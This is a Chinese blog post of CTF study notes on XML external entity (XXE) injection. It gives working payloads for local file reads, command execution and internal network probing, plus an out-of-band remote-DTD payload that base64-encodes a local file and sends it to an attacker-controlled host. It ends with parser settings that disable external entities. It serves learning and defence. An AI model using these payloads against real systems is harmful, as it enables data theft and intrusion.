XXE漏洞学习

漏洞原理

XXE漏洞就是XML外部实体注入,就是当xml引用外部实体并解析的时候会产生的漏洞,xml解析器去获取其中的外部资源并存储到内部实体中,攻击者可引用外部实体对目标进行文件读取、命令执行、DDOS、内网探测等。

利用方式

命令执行

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY test SYSTEM "命令">
]>
<c>&test</c>

读取任意文件

有回显

不出网

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>

如若有回显的话,我们可以直接读取文件

出网

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://ip地址/xxe.dtd" >
%xxe;]>
<foo>&a;</foo>

我们在我们的服务器上创建如下文件xxe.dtd



<!ENTITY evil SYSTEM “file:///文件路径” >

以一题为例

BUUCTF[NCTF2019]Fake XML cookbook

利用系统自带的dtd来实现任意文件读取

详情可以访问此连接https://mohemiv.com/tags/xxe/

  <?xml version="1.0"?>
    <!DOCTYPE message [
        <!ELEMENT message ANY>
        <!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
        <!ENTITY % para1 SYSTEM "file:///flag">
        <!ENTITY % ISOamso '
            <!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
            &#x25;para2;
        '>
        %remote;
    ]>
    <message></message>

 以BUU[GoogleCTF2019 Quals]Bnv为例

无回显

外部实体可以通过请求内部文件url获得内部文件内容,这样的话我们可以写两个外部参数实体,第一个用file协议请求本地文件并将内容保存在参数实体中,第二个用http或者ftp协议请求自己的服务器并带上文件内容。

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY % remote SYSTEM "http://IP地址/xml.dtd">  
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    %remote;
    %send;
]>
<message></message>

xml.dtd

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip:10001/?%file;'>">
%start;

内部的%号要进行实体编码成&#x25

内网探测

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>

以一题目为例

BUU [NCTF2019]True XML cookbook

防御xxe漏洞

使用开发语言提供的禁用外部实体的方法

 
PHP:
libxml_disable_entity_loader(true);
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值